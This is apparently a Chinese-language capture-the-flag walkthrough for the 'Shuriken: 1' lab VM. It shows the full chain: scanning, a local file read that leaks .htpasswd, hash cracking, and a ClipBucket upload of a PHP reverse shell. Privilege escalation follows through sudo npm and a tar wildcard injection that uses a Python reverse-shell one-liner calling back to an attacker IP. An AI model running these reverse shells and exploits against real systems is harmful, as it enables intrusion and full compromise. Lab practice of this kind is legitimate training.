Shuriken 1

SHURIKEN: 1

一、基本信息

名称:Shuriken: 1

发布日期:2020.11.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

server-management:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Shuriken-1.ova

文件大小:2.7GB

下载地址:

MD5: 2DB75B09A1DD917FFE1DF20B4450D032

SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/sercet目录比较可疑:

1
gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ClipBucket页登录

1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:

image-

image-

2.于是根据图片提示去主页查看js代码,发现两个指向:

image-

image-

3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:

1
vim /etc/hosts

image-

image-

4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:

1
vim /etc/hosts

image-

image-

5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:

image-

1
2
echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt

image-

ClipBucket漏洞利用

1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):

image-

image-

2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

1
2
nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php

image-

image-

image-

初步提权

1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:

1
sudo -l

image-

1
2
3
cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

image-

2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

root提权

1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:

1
cat /etc/crontab

image-

1
cat /var/opt/backupsrv.sh

image-

2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:

1
2
3
4
cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=1

image-

3.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:

1
nc -lvnp 9002

image-

4.获得root权限后,在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-